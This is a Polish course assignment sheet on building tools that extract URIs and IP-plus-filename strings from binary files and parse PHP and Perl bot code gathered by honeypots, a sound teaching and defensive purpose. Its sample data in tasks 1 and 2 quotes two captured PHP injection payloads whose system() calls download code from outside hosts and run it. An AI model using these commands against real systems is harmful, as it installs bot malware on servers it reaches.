Zadanie 1 Zadanie 2 Zadanie 3a i b
Transkrypt
Zadanie 1 Zadanie 2 Zadanie 3a i b
Zadanie 1 Celem zadania jest napisanie programu, który w plikach binarnych będzie wyszukiwał ciągów znaków spełniających wymagania identyfikatora URI (ang. Uniform Resource Identifier). Przykładowy fragment danych zawierających URI zaprezentowany jest poniżej. Każdy wykryty ciąg znaków spełniający wymagania powinien zostać zapisany w pliku zawierającym wyniki wraz z informacją o położeniu względem początku analizowanego pliku binarnego. Więcej informacji na temat składni http://en.wikipedia.org/wiki/URI_scheme#Generic_syntax. Przykładowy ciąg znaków zawierających URI (sam URL wytłuszczony) User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTM L, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 Content-Type: application/x-www-form-urlencoded Content-Length: 83 Connection: close <?php system("wget http://autopressreleases.com/b.c -O /tmp/b.c;perl /tmp/b.c"); Zadanie 2 Celem zadania jest napisanie programu, który w plikach binarnych będzie wyszukiwał ciągów znaków, reprezentujący adres IPv4 oraz bezpośrednio za nim nazwę pliku Przykładowy fragment danych zawierających URI zaprezentowany jest poniżej. Każdy wykryty ciąg znaków spełniający wymagania powinien zostać zapisany w pliku zawierającym wyniki wraz z informacją o położeniu względem początku analizowanego pliku binarnego. Przykładowy ciąg znaków zawierających adres IPv4 i plik (sam adres i plik wytłuszczony) Host: 194.29.XX.YY User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTM L, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 Content-Type: application/x-www-form-urlencoded Content-Length: 115 Connection: close <?php system("ulimit -t 999999;cd /dev/shm/;wget -q 184.22.81.107/mi.tar.gz ; tar zxvf mi.tar.gz;cd mi;./gogo &"); Zadanie 3a i b Celem zadania jest napisanie programu, który dokona analizy składniowej i semantycznej kodu źródłowego napisanego w języku a)php b)perl w celu wykrycia wszystkich definicji i wywołań funkcji (lub metod dla kodów wykorzystujących mechanizmy obiektowe). Program powinien działać w dwóch trybach, w pierwszym zapisuje do pliku tekstowego listę zdefiniowanych funkcji z informacją jakie funkcje są w ich ciele wywoływane. W drugim trybie program zapisuje jedynie informacje dotyczące interesującej funkcji podanej jako jeden z parametrów wywołania programu. Zadanie 4a i b Celem zadania jest napisanie programu, który dokona analizy składniowej i semantycznej kodu źródłowego napisanego w języku a)php b)perl w celu wykrycia wszystkich wykorzystywanych tablic i słowników. Program powinien działać w dwóch trybach, w pierwszym zapisuje do pliku tekstowego wszystkie wykryte tablice i słowniki. W drugim trybie program zapisuje jedynie informacje dotyczące interesującej tablicy/słownika lub interesującego elementu. Nazwa intersującej tablicy/słownika i/lub numer lub nazwa elementu podawane są za pomocą parametrów wywołania programu. Pod adresem http://staff.elka.pw.edu.pl/~kcabaj/TKOM_14Z/ znaleźć można przykładowe pliki które będę analizowane w ramach zadania 3 i 4. Interesujące tablice/słowniki mają przykładowo nazwy cfg i user_agents (dla php) oraz portas i dominios (dla perl). Zaimplementowane programy mają służyć automatycznej analizie kodu bot-ów uzyskanych w ramach działania systemów HoneyPot wdrożonych w Instytucie Informatyki. Uwaga !!! Mimo celowo wprowadzonych modyfikacji uniemożliwiających proste uruchomienie kodu proszę zachować ostrożność. Pliki mogą być wykrywane jako Bot-y przez oprogramowanie AV.